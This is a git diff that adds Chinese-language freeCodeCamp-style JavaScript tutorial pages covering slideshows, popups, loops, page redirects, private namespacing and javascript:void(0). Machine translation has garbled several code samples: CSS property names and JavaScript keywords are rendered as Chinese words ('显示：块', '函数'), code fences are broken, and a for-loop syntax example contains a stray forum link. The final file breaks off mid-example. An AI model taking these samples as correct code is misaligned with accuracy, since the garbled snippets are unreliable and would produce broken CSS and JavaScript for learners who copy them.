+## ＃＃＃ 更多信息：
+
+#### HTML
+
+[模态](https://en.wikipedia.org/wiki/Modal_window) - 弹出窗口
+
+[事件处理程序](https://developer.mozilla.org/en-US/docs/Web/Guide/Events/Event_handlers) - 侦听用户事件的HTML属性。
+
+[实体](https://developer.mozilla.org/en-US/docs/Glossary/Entity) - 表示HTML中保留字符的字符串。
+
+#### CSS
+
+[box-sizing：](https://css-tricks.com/box-sizing/) - 一个CSS3属性，用于控制浏览器根据高度和宽度呈现内容的方式。
+
+[Flex-box](https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Flexbox) - 一种新技术，有助于在响应式操作中定位HTML内容。
+
+[：hover](https://developer.mozilla.org/en-US/docs/Web/CSS/:hover) - 当用户将一个元素悬停在元素上时会触发的伪选择器。
+
+#### JavaScript的
+
+[让](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let)一个块范围变量。
+
+[const](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const)一个块范围常量。
+
+[getElementById（）](https://developer.mozilla.org/en-US/docs/Web/API/Document/getElementById) - 一个返回对HTML元素的引用的文档方法。
+
+[getElementsByClassName（）](https://developer.mozilla.org/en-US/docs/Web/API/Document/getElementsByClassName) - 一个document方法，它返回对具有匹配类的html的引用数组。
+
+[\+ =](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators) - 一个赋值运算符，它将添加数字或连接字符串。
+
+#### 资源：
+
+[实例](https://codepen.io/rdev-rocks/pen/KXNzvo?editors=1111) - 用于演示上述代码的CodePen。
+
+[交互式Flex-Box](https://codepen.io/enxaneta/full/adLPwv) - 一种显示弹性框行为的交互式CodePen。
+
+[Pexels](https://www.pexels.com/) - 免费图片库。
+
+[MDN](https://developer.mozilla.org/en-US/) - 关于网络信息的好地方。
+
+[W3School - 灯箱](https://www.w3schools.com/howto/howto_js_lightbox.asp) - 此代码的灵感来自于此。谢谢W3Schools！
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/how-to-create-a-slideshow/index.md b/client/src/guide/chinese/javascript/tutorials/how-to-create-a-slideshow/index.md
new file mode 100644
index 0000000000..a38573afc6
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/how-to-create-a-slideshow/index.md
@@ -0,0 +1,60 @@
+---
+title: How to Create a Slideshow
+localeTitle: 如何创建幻灯片
+---
+## 如何创建幻灯片
+
+Web幻灯片是一系列图像或文本，它们在一个时间间隔中显示该序列的一个元素。
+
+在本教程中，您可以按照以下步骤创建幻灯片：
+
+### 写一个标记。
+
+\`\`\`HTML  幻灯片 
+```
+### Write styles to hide slides and show only one slide. 
+ 
+ For hide the slides you have to give them a default style and only show one slide if this is active or you want to show it. 
+```
+
+CSS \[data-component =“slideshow”\] .slide { display：none; }
+
+\[data-component =“slideshow”\] .slide.active { 显示：块; }
+```
+### Change the slides in a time interval. 
+ 
+ The first step to change the slides to show, is select the slide wrapper(s) and then its slides. 
+ 
+ When you selected the slides you have to go over each slide and add or remove an active class depending on the slide that you want to show, and then just repeat the process in a time interval. 
+ 
+ Keep it in mind when you remove a active class to a slide, you are hidden it because the styles defined in the previous step. But when you add an active class to the slide, you are overwritring the style ``display:none to display:block`` , so the slide will show to the users. 
+```
+
+JS var slideshows = document.querySelectorAll（'\[data-component =“slideshow”\]'）;
+
+//应用于您使用markup编写的所有幻灯片 slideshows.forEach（initSlideShow）;
+
+function initSlideShow（slideshow）{
+```
+var slides = document.querySelectorAll(`#${slideshow.id} [role="list"] .slide`); // Get an array of slides 
+ 
+ var index = 0, time = 5000; 
+ slides[index].classList.add('active'); 
+ 
+ setInterval( () => { 
+  slides[index].classList.remove('active'); 
+ 
+  //Go over each slide incrementing the index 
+  index++; 
+ 
+  // If you go over all slides, restart the index to show the first slide and start again 
+  if (index === slides.length) index = 0; 
+ 
+  slides[index].classList.add('active'); 
+ 
+ }, time); 
+```
+
+} \`\`\`
+
+#### [本教程后面的Codepen示例](https://codepen.io/AndresUris/pen/rGXpvE)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/how-to-create-a-top-navigation-bar/index.md b/client/src/guide/chinese/javascript/tutorials/how-to-create-a-top-navigation-bar/index.md
new file mode 100644
index 0000000000..e5380cb40d
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/how-to-create-a-top-navigation-bar/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Create a Top Navigation Bar
+localeTitle: 如何创建顶部导航栏
+---
+## 如何创建顶部导航栏
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/tutorials/how-to-create-a-top-navigation-bar/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/how-to-create-an-accordion/index.md b/client/src/guide/chinese/javascript/tutorials/how-to-create-an-accordion/index.md
new file mode 100644
index 0000000000..3ec9466e8d
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/how-to-create-an-accordion/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Create an Accordion
+localeTitle: 如何创建手风琴
+---
+## 如何创建手风琴
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/tutorials/how-to-create-an-accordion/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/how-to-create-popups/index.md b/client/src/guide/chinese/javascript/tutorials/how-to-create-popups/index.md
new file mode 100644
index 0000000000..cb34467d61
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/how-to-create-popups/index.md
@@ -0,0 +1,46 @@
+---
+title: How to Create Popups
+localeTitle: 如何创建弹出窗口
+---
+## 如何创建弹出窗口
+
+当您使用鼠标选择选项或按特殊功能键时，弹出窗口会弹出（显示）。
+
+在此示例中，当您单击按钮时将显示弹出窗口，并且在您按下X选项之前将保持在屏幕上。
+
+我们将使用`HTML` ， `CSS`和`JavaScript`构建弹出窗口
+
+### 第1步HTML
+
+HTML提供弹出窗口的结构
+
+\`\`\`HTML
+
+打开PopUp
+
+弹出JavaScript
+
+X
+```
+### Step 2 CSS 
+ We will choose our own style for the popup window. Notice: the popup div should be hidden at first, so in the style I will select display: none; 
+```
+
+CSS .popup _main_ div { 位置：固定; 宽度：800px; 身高：400px; 边框：2px纯黑色; border-radius：5px; background-color：#fff; 左：50％; margin-left：-400px; 最高：50％; margin-top：-250px; display：none;
+
+} .close _popup { 位置：绝对; 宽度：25px; 身高：25px; border-radius：25px; 边框：2px纯黑色; text-align：center; 右：5px; 上：5px; 游标：指针; } .close_ popup p { margin-top：5px; font-weight：400;
+
+} 。文本{ text-align：center; font-size：30px; font-weight：400; 保证金最高：22％; } #Btn { 位置：绝对; 左：50％; 顶部：20％;
+
+}
+```
+### Step 3 JavaScript 
+```
+
+JS //首先，我将初始化我的变量 //选择我们将从DOM中使用的元素 //我将在按钮中添加en事件，该事件将触发一个函数，将弹出窗口的显示样式从none更改为block
+
+const Btn = document.getElementById（“Btn”） const PopupDiv = document.querySelector（“。popup _main_ div”） const ClosePopup = document.querySelector（“。close\_popup”） Btn.addEventListener（ '点击'，函数（）{ PopupDiv.style.display = “块” }） ClosePopup.addEventListener（ '点击'，函数（）{ PopupDiv.style.display = “无” }）
+
+\`\`\`
+
+实时代码： [Codepen.io](https://codepen.io/voula12/pen/qyyNeK)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/how-to-create-tabs/index.md b/client/src/guide/chinese/javascript/tutorials/how-to-create-tabs/index.md
new file mode 100644
index 0000000000..7d433ad83c
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/how-to-create-tabs/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Create Tabs
+localeTitle: 如何创建选项卡
+---
+## 如何创建选项卡
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/tutorials/how-to-create-tabs/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/how-to-install-node-js-and-npm-on-windows/index.md b/client/src/guide/chinese/javascript/tutorials/how-to-install-node-js-and-npm-on-windows/index.md
new file mode 100644
index 0000000000..774e74ee51
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/how-to-install-node-js-and-npm-on-windows/index.md
@@ -0,0 +1,32 @@
+---
+title: How to Install Node Js and Npm on Windows
+localeTitle: 如何在Windows上安装Node Js和Npm
+---
+## 如何在Windows上安装Node Js和Npm
+
+在Windows上安装Node.js和Npm非常简单。
+
+首先，从[Node.js网站](https://nodejs.org/)下载Windows安装程序。您可以选择**LTS** （长期支持）或**当前**版本。
+
+*   **当前**版本可以更快地接收最新功能和更新
+*   **LTS**版本具有更改以提高稳定性，但会收到错误修复和安全更新等补丁
+
+选择满足需求的版本后，请运行安装程序。按照提示选择安装路径，并确保包含**npm包管理器**功能以及**Node.js运行时** 。这应该是默认配置。
+
+安装完成后重新启动计算机。
+
+如果您在默认配置下安装，现在应将Node.js添加到PATH中。运行命令提示符或powershell并输入以下内容进行测试：
+```
+> node -v 
+```
+
+控制台应响应版本字符串。为Npm重复这个过程：
+```
+> npm -v 
+```
+
+如果两个命令都有效，那么您的安装就会成功，您可以开始使用Node.js！
+
+#### 更多信息：
+
+有关更多信息和指南，请访问[Node.js文档页面](https://nodejs.org/en/docs/) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/increment-a-number-with-javascript/index.md b/client/src/guide/chinese/javascript/tutorials/increment-a-number-with-javascript/index.md
new file mode 100644
index 0000000000..5a4aa27702
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/increment-a-number-with-javascript/index.md
@@ -0,0 +1,15 @@
+---
+title: Increment a Number with JavaScript
+localeTitle: 使用JavaScript增加数字
+---
+您可以使用`++`运算符轻松地为变量增加或添加`1` 。
+```
+i++; 
+```
+
+相当于
+```
+i = i + 1; 
+```
+
+**注意**整行成为`i++;` ，消除了对等号的需要。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/index.md b/client/src/guide/chinese/javascript/tutorials/index.md
new file mode 100644
index 0000000000..c423e4088d
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/index.md
@@ -0,0 +1,11 @@
+---
+title: Tutorials
+localeTitle: 教程
+---
+## 教程
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/tutorials/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/invert-regular-expression-matches-with-javascript/index.md b/client/src/guide/chinese/javascript/tutorials/invert-regular-expression-matches-with-javascript/index.md
new file mode 100644
index 0000000000..acf07aec3d
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/invert-regular-expression-matches-with-javascript/index.md
@@ -0,0 +1,7 @@
+---
+title: Invert Regular Expression Matches with JavaScript
+localeTitle: 使用JavaScript反转正则表达式匹配
+---
+使用`/\S/gi` ;匹配字符串中不是空格的所有内容。
+
+您可以通过使用选择的大写版本反转任何匹配`\s`与`\S`的例子。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/iterate-with-javascript-for-loops/index.md b/client/src/guide/chinese/javascript/tutorials/iterate-with-javascript-for-loops/index.md
new file mode 100644
index 0000000000..42535d754c
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/iterate-with-javascript-for-loops/index.md
@@ -0,0 +1,26 @@
+---
+title: Iterate with JavaScript for Loops
+localeTitle: 使用JavaScript迭代循环
+---
+JavaScript的循环的最常见的类型被称为`for loop` ，因为它运行`for`的特定次数。
+```
+var ourArray = []; 
+ for(var i = 0; i < 5; i++) { 
+  ourArray.push(i); 
+ } 
+```
+
+ourArray现在包含\[0,1,2,3,4\]
+
+## 更多关于for循环
+```
+for(var i = 0; i < 5; i++) {  // There are 3 parts here 
+```
+
+循环有三个部分。它们用分号分隔。
+
+1.  初始化： `var i = 0;` - 此代码仅在循环开始时运行一次。它通常用于声明计数器变量（使用`var` ）并初始化计数器（在这种情况下，它设置为0）。
+    
+2.  条件： `i < 5;` - 只要这是`true` ，循环就会运行。这意味着只要`i`等于5，循环就会停止循环。请注意，循环内部永远不会将`i`视为5，因为它将在此之前停止。如果此条件最初为`false` ，则循环将永远不会执行。
+    
+3.  增量： `i++` - 此代码在每个循环结束时运行。它通常是一个简单的增量（ `++`运算符），但实际上可以是任何数学变换。它用于向前移动计数器（ `i` ）（或向后移动等）。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/iterate-with-javascript-while-loops/index.md b/client/src/guide/chinese/javascript/tutorials/iterate-with-javascript-while-loops/index.md
new file mode 100644
index 0000000000..f344ff426c
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/iterate-with-javascript-while-loops/index.md
@@ -0,0 +1,14 @@
+---
+title: Iterate with JavaScript While Loops
+localeTitle: 在循环时使用JavaScript进行迭代
+---
+另一种类型的JavaScript循环称为`while loop`因为它`while`某些内容为true时运行，并在某些内容不再为true时停止。
+```
+var ourArray = []; 
+ var i = 0; 
+ while(i < 5) { 
+  ourArray.push(i); 
+  i++; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/javascript-for-loops-explained/index.md b/client/src/guide/chinese/javascript/tutorials/javascript-for-loops-explained/index.md
new file mode 100644
index 0000000000..7433516f7a
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/javascript-for-loops-explained/index.md
@@ -0,0 +1,43 @@
+---
+title: JavaScript for Loops Explained
+localeTitle: 用于循环的JavaScript解释
+---
+for语句创建一个循环，该循环由三个可选表达式组成，括在括号中并用分号分隔，后跟循环中执行的语句或一组语句。
+
+for循环具有以下语法：
+```
+for (<a href='http://forum.freecodecamp.com/t/javascript-while-loop/14668' target='_blank' rel='nofollow'>initialization]; [condition]; [final-expression]) { 
+    code block to be executed 
+ } 
+```
+
+在循环（代码块）开始之前执行\[初始化\]。
+
+\[condition\]定义运行循环的条件（代码块）。
+
+每次执行循环（代码块）后执行\[final-expression\]。
+
+## JavaScript中的示例：
+```
+var ourArray = []; 
+ for (var i = 0; i < 5; i++) { 
+    ourArray.push(i); 
+ } 
+```
+
+从上面的示例中，您可以阅读：
+
+\[initialization\]在循环开始之前设置变量（var i = 0）。
+
+\[condition\]定义循环运行的条件（i必须小于5）。
+
+\[final-expression\]每次执行循环中的代码块时都会增加一个值（i ++）。
+
+## 为什么我们需要“for循环”？
+
+for循环用于循环遍历代码块已知次数。有时它是计算机知道多少次，而不是你，但它仍然是已知的。
+
+查看我们关于循环的其他一些文章：
+
+*   \[而Loop
+*   [对于In Loop](http://forum.freecodecamp.com/t/javascript-for-in-loop/14665)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/page-redirects-using-javascript/index.md b/client/src/guide/chinese/javascript/tutorials/page-redirects-using-javascript/index.md
new file mode 100644
index 0000000000..4df3ff83db
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/page-redirects-using-javascript/index.md
@@ -0,0 +1,59 @@
+---
+title: Page Redirects Using JavaScript
+localeTitle: 页面重定向使用JavaScript
+---
+## 页面重定向使用JavaScript
+
+如果您尝试将用户重定向到另一个页面，则可以轻松使用JavaScript来完成此任务。请务必注意以下事项：
+
+即使您在脚本中加载了jQuery库，您也可能希望将纯JavaScript解决方案用于页面重定向以提高效率。
+
+有几种不同的方法可以解决这个问题，但最简单的方法是使用`window.location`对象将用户发送到您希望将其重定向到的页面。所述`window.location`对象可以使用任何有效的URL值如`http://www.yoururl.com` ， `somepage.html`等
+
+```javascript
+window.location = 'http://www.yoururl.com'; 
+ // window.location = 'somepage.html'; 
+ // etc. 
+```
+
+### 特殊情况重定向
+
+您可以使用特殊的重定向方法，默认情况下，该方法附加到名为`replace()`每个主要浏览器中的`window.location`对象。此方法接受与仅使用`window.location`相同的有效URL值。
+
+下面是使用此方法的示例（它仍然与在其他浏览器中使用`window.location`相同）：
+
+```javascript
+window.location.replace('http://www.yoururl.com'); 
+ // window.location.replace('somepage.html'); 
+ // etc. 
+```
+
+### 使用JS进行简单的定时重定向
+
+以下是使用`setTimeout()`函数进行简单定时重定向的示例。定时重定向非常有用，您可以通过重定向页面上的内容向用户解释将其重定向到另一个页面的原因。
+
+```javascript
+// the 5000 below is 5000 milliseconds which equals 5 seconds until the redirect happens 
+ // keep in mind that 1 second = 1000 milliseconds 
+ setTimeout(function () { 
+    window.location = 'http://www.yoururl.com'; 
+    // window.location = 'somepage.html'; 
+    // etc. 
+ }, 5000); 
+```
+
+### 倒退
+
+有时用户在禁用JavaScript的情况下浏览互联网，这显然会带来JS依赖重定向解决方案的问题。我建议设置一个`<meta>`元素，它将使用新位置刷新浏览器。我应该在JS重定向发生后将这个元素设置为秒。因此，如果您在5秒后在JS中发生重定向，请将`<meta>`元素重定向设置为6秒。
+
+将`<meta>`元素放在文档的`<head>` ，如下所示：
+
+```html
+
+<head> 
+    <!-- Change the 6 below to however many seconds you wish to wait until redirection to the new page.  Change the portion after "URL=" to the URL of your choice.  This can be a local page: URL=somepage.html, a web address: URL=http://www.yoururl.com, or any other valid URL. It is important to note the semicolon between the number of seconds to refresh and the URL. --> 
+    <meta http-equiv="refresh" content="6;URL=http://www.yoururl.com"> 
+ </head> 
+```
+
+请记住，并非所有浏览器都支持`<meta>`元素（我正在看你，IE的旧版本和Safari），但大多数现代浏览器都支持（Microsoft Edge，谷歌浏览器，Mozilla Firefox，Opera）。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/perform-arithmetic-operations-on-decimals-with-javascript/index.md b/client/src/guide/chinese/javascript/tutorials/perform-arithmetic-operations-on-decimals-with-javascript/index.md
new file mode 100644
index 0000000000..3b0def667c
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/perform-arithmetic-operations-on-decimals-with-javascript/index.md
@@ -0,0 +1,9 @@
+---
+title: Perform Arithmetic Operations on Decimals with JavaScript
+localeTitle: 使用JavaScript对小数执行算术运算
+---
+在JavaScript中，您可以使用十进制数执行计算，就像整数一样。
+```
+var quotient = 4.4 / 2.0; // equals 2.2 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/store-multiple-values-in-one-variable-using-javascript-arrays/index.md b/client/src/guide/chinese/javascript/tutorials/store-multiple-values-in-one-variable-using-javascript-arrays/index.md
new file mode 100644
index 0000000000..2ef0600794
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/store-multiple-values-in-one-variable-using-javascript-arrays/index.md
@@ -0,0 +1,12 @@
+---
+title: Store Multiple Values in One Variable Using JavaScript Arrays
+localeTitle: 使用JavaScript数组在一个变量中存储多个值
+---
+使用JavaScript数组变量，我们可以在一个地方存储多个数据。
+
+你用一个开括号开始一个数组声明，用一个右括号结束它，并在每个条目之间加一个逗号，如下所示：
+```
+var sandwich = ["peanut butter", "jelly", "bread"] 
+```
+
+`myArray = [2,'j'];`
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/subtract-one-number-from-another-with-javascript/index.md b/client/src/guide/chinese/javascript/tutorials/subtract-one-number-from-another-with-javascript/index.md
new file mode 100644
index 0000000000..92c1aa9e57
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/subtract-one-number-from-another-with-javascript/index.md
@@ -0,0 +1,11 @@
+---
+title: Subtract One Number from Another with JavaScript
+localeTitle: 使用JavaScript从另一个数字中减去一个数字
+---
+我们也可以从另一个数字中减去一个数字。
+
+JavaScript使用 - 符号进行减法。
+```
+var difference = 45 - 33; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/the-javascript-version-of-jquerygetjson/index.md b/client/src/guide/chinese/javascript/tutorials/the-javascript-version-of-jquerygetjson/index.md
new file mode 100644
index 0000000000..265f56b279
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/the-javascript-version-of-jquerygetjson/index.md
@@ -0,0 +1,70 @@
+---
+title: JavaScript Version of Jquerygetjson
+localeTitle: Jquerygetjson的JavaScript版本
+---
+如果你想使用只有vanilla JavaScript的json文件。
+
+## IE8 +
+```
+var request = new XMLHttpRequest(); 
+ request.open('GET', '/my/url', true); 
+ 
+ request.onreadystatechange = function() { 
+  if (this.readyState === 4) { 
+    if (this.status >= 200 && this.status < 400) { 
+      // Success! 
+      var data = JSON.parse(this.responseText); 
+    } else { 
+      // Error :( 
+    } 
+  } 
+ }; 
+ 
+ request.send(); 
+ request = null; 
+```
+
+## IE9 +
+```
+var request = new XMLHttpRequest(); 
+ request.open('GET', '/my/url', true); 
+ 
+ request.onload = function() { 
+  if (request.status >= 200 && request.status < 400) { 
+    // Success! 
+    var data = JSON.parse(request.responseText); 
+  } else { 
+    // We reached our target server, but it returned an error 
+ 
+  } 
+ }; 
+ 
+ request.onerror = function() { 
+  // There was a connection error of some sort 
+ }; 
+ 
+ request.send(); 
+```
+
+## IE10 +
+```
+var request = new XMLHttpRequest(); 
+ request.open('GET', '/my/url', true); 
+ 
+ request.onload = function() { 
+  if (this.status >= 200 && this.status < 400) { 
+    // Success! 
+    var data = JSON.parse(this.response); 
+  } else { 
+    // We reached our target server, but it returned an error 
+ 
+  } 
+ }; 
+ 
+ request.onerror = function() { 
+  // There was a connection error of some sort 
+ }; 
+ 
+ request.send(); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/use-the-javascript-console/index.md b/client/src/guide/chinese/javascript/tutorials/use-the-javascript-console/index.md
new file mode 100644
index 0000000000..4701734762
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/use-the-javascript-console/index.md
@@ -0,0 +1,20 @@
+---
+title: Use the JavaScript Console
+localeTitle: 使用JavaScript控制台
+---
+Chrome和Firefox都有出色的JavaScript控制台，也称为DevTools，用于调试JavaScript。
+
+您可以在Chrome的菜单或FireFox菜单中的Web控制台中找到开发人员工具。如果您使用的是其他浏览器或手机，我们强烈建议您使用桌面版Firefox或Chrome。
+
+您还可以使用[https://repl.it/](https://repl.it/)在线运行代码。
+
+这是您打印到控制台的方式：
+```
+console.log('Hello world!') 
+```
+
+您还可以使用以下代码在控制台中打印错误日志：
+```
+console.error('I am an error!') 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/using-anonymous-functions-for-private-namespacing-in-your-javascript-apps/index.md b/client/src/guide/chinese/javascript/tutorials/using-anonymous-functions-for-private-namespacing-in-your-javascript-apps/index.md
new file mode 100644
index 0000000000..dc8f654f6a
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/using-anonymous-functions-for-private-namespacing-in-your-javascript-apps/index.md
@@ -0,0 +1,80 @@
+---
+title: Using Anonymous Functions for Private Namespacing in Your JavaScript Apps
+localeTitle: 在JavaScript应用程序中使用匿名函数进行私有命名空间
+---
+让我们来看看构建JavaScript应用程序时命名空间的含义以及构建应用程序时使用私有命名空间的一些好处。
+
+**请注意，本文引用了匿名自执行函数。如果你不知道这是什么，请阅读Noah Stokes的这篇优秀文章： [自我执行匿名函数或如何编写干净的Javascript](http://esbueno.noahstokes.com/post/77292606977/self-executing-anonymous-functions-or-how-to-write) 。本文将详细介绍匿名自执行函数。**
+
+## 什么是命名空间？
+
+简而言之，命名空间只是一段具有自己空间的代码。当您第一次开始编写JS应用程序时，通常只需键入代码并运行它。这将所有代码放入所谓的**全局命名空间** ，其中包含您正在使用的窗口的所有代码。
+
+但是，如果将所有代码保存在**全局命名空间中** ，则可能会遇到冲突，命名约定等问题，尤其是在大型JS应用程序/游戏中。
+
+让我们来看一个如何仅使用**全局命名空间**来开发游戏的例子。
+
+所以，假设我们有一款游戏可以跟踪玩家拥有的点数：
+```
+var points = 0; 
+```
+
+许多游戏跟踪点以增加游戏的竞争优势。只需在脚本中键入该行，我们就创建了一个名为_points_的变量，可以跟踪用户获得的点数。
+
+这一切都很好，但是让我们说我们有一个更高级的用户玩游戏。这个用户知道如何查看网页的来源，因此这个人看一看JS游戏背后的源，并意识到_points_变量只是坐在**全局命名空间中** 。当他们思考他们可以达到的分数时，一个邪恶的假笑在他们的脸上下降！他们认为他们不想等到打败一些坏人，或者粉碎一些蘑菇，或者你有什么东西，以获得一堆积分。他们现在想要他们的积分！嗯，如何_发出数千亿亿_点的声音？！因此，他们在自己喜欢的浏览器上加载控制台，只需输入控制台：
+```
+points = 34750925489459203859095480917458059034; 
+```
+
+一旦用户点击进入， _点数_变量就会在游戏中更新。现在，用户在游戏中有一个真正巨大的，可能不切实际的积分，他可以向他的朋友吹嘘，没有人可以击败他的超棒成绩。
+
+那么，我们如何防止这种情况发生？这是**私有命名空间**发挥作用的地方。
+
+## 私有命名空间
+
+**私有命名空间**允许开发人员将他们的代码放入部分（或**命名空间** ）。这些部分彼此独立运行，但仍可以从**全局命名空间**读取和写入。
+
+为了将其简化为现实生活中的简单术语，假设您正在办公楼中工作。你有自己的办公室，你看到其他人有自己的办公室。每个办公室都被锁定，只有拥有办公室的人才有办公室的钥匙。让我们也说你有一些新的超级锁定，使你的办公室难以被建筑物中的任何其他人穿透。让我们将办公楼本身视为**全局命名空间** ，将每个办公室视为**私有命名空间** 。您无权访问任何其他人的办公室，也无权访问您的办公室。但是，你们每个人都可以访问办公楼的其他部分，无论是喝咖啡，吃点心等等。你们每个人都可以从**全局命名空间中**获取东西（或者在那里创建/修改某些东西），但你可以从彼此的办公室创建/修改/抓取任何东西;您只能从自己的**私有命名空间** /办公室创建/修改/抓取。
+
+## 实现私有命名空间
+
+那么，我们如何在JavaScript中实现这个**私有命名空间**呢？使用匿名自执行功能！如果您没有阅读Noah Stokes， [自执行匿名函数或如何编写清洁Javascript的文章](http://esbueno.noahstokes.com/post/77292606977/self-executing-anonymous-functions-or-how-to-write) ，请立即执行此操作。本文将详细介绍匿名自执行函数。
+
+让我们看看使用前面的那个_点_变量，但是让我们把它分成一个**私有命名空间** ：
+```
+//The most common way you'll see an anonymous self-executing function 
+ (function () { 
+    var points = 0; 
+ })(); 
+ 
+ //This is just one of many more alternative ways to use an anonymous self-executing function 
+ /* 
+ !function () { 
+    var points = 0; 
+ }(); 
+ */ 
+```
+
+现在，当用户访问该页面时，他们将无法在浏览器中打开控制台并根据需要更改points变量的值！真棒！
+
+## 命名空间和文档交互
+
+上面的代码仅用于使用匿名自执行函数为代码提供自己的**私有命名空间** 。请记住，名称空间只影响JS代码（变量/数组/对象/等），而不影响与文档本身相关的代码。
+
+命名空间中的任何代码仍然具有与HTML文档和CSS相同的访问权限，就像通常在**全局命名空间中一样** 。看看接下来的两个代码示例。它们都执行相同的功能，并且既不比另一个更有益，也更有效。
+```
+<script type="text/javascript"> 
+    (function () { 
+        document.querySelector('body').style.background = 'blue'; 
+    })(); 
+ </script> 
+```
+
+是相同的：
+```
+<script type="text/javascript"> 
+    document.querySelector('body').style.background = 'blue'; 
+ </script> 
+```
+
+请记住，这只是在JavaScript应用程序中使用命名空间的一种方法。使您的代码适应最适合当前情况的代码。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/what-does-javascript-void-0-mean/index.md b/client/src/guide/chinese/javascript/tutorials/what-does-javascript-void-0-mean/index.md
new file mode 100644
index 0000000000..b6cd46c726
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/what-does-javascript-void-0-mean/index.md
@@ -0,0 +1,90 @@
+---
+title: What Does JavaScript Void 0 Mean
+localeTitle: JavaScript无效0意味着什么
+---
+## JavaScript无效0意味着什么
+
+**JavaScript的void运算符计算表达式并返回undefined** 。
+
+使用控制台验证相同： -
+
+![ConsoleOutput](https://github.com/srawat19/-Guide_Images/blob/master/VoidConsole.PNG?raw=true)
+
+**_注意_** ： -不管**空隙**沿通过的任何值的， _如上所示总是返回**未定义**_ 。 但是， **操作数0的空格是首选** 。
+
+**使用操作数0的两种方法 - > void（0）或void 0.**它们中的任何一个都可以。
+
+#### 何时使用Javascript void（0）？
+
+单击链接时，您不希望浏览器加载新页面或刷新同一页面（具体取决于指定的URL）。 而是执行附加到该链接的JavaScript。
+
+#### 使用Javascript void（0）的示例示例1：
+
+```html
+
+<html> 
+ <body> 
+ <a href="javascript:void(0);alert('Hello ! I am here')">Click Me</a> 
+ </body> 
+ </html> 
+```
+
+#### 输出：
+
+单击ClickMe链接时，会弹出如下警告：
+
+![输出1](https://github.com/srawat19/-Guide_Images/blob/master/voidOutput1.PNG?raw=true)
+
+#### 使用Javascript void（0）的示例示例2：
+
+```html
+
+<html> 
+ <body> 
+ <a href="javascript:void(0)" ondblclick="alert('Hi,i didnt refresh the page')" )>Click Me</a> 
+ </body> 
+ </html> 
+```
+
+#### 输出：
+
+双击链接时，将弹出警报而不刷新任何页面。
+
+#### 使用Javascript void（0）的示例示例3：
+
+```html
+
+<html> 
+ <body> 
+ <a href="javascript:void(0);https://www.google.co.in/" 
+ ondblclick="alert('Hello !! You will see me and not get redirected to google.com ')">Click Me</a> 
+ </body> 
+ </html> 
+```
+
+#### 输出：
+
+当您双击该链接时，会弹出一个提醒，关闭它也不会重定向到google.com。
+
+#### 没有Javascript的示例示例void（0）：
+
+```html
+
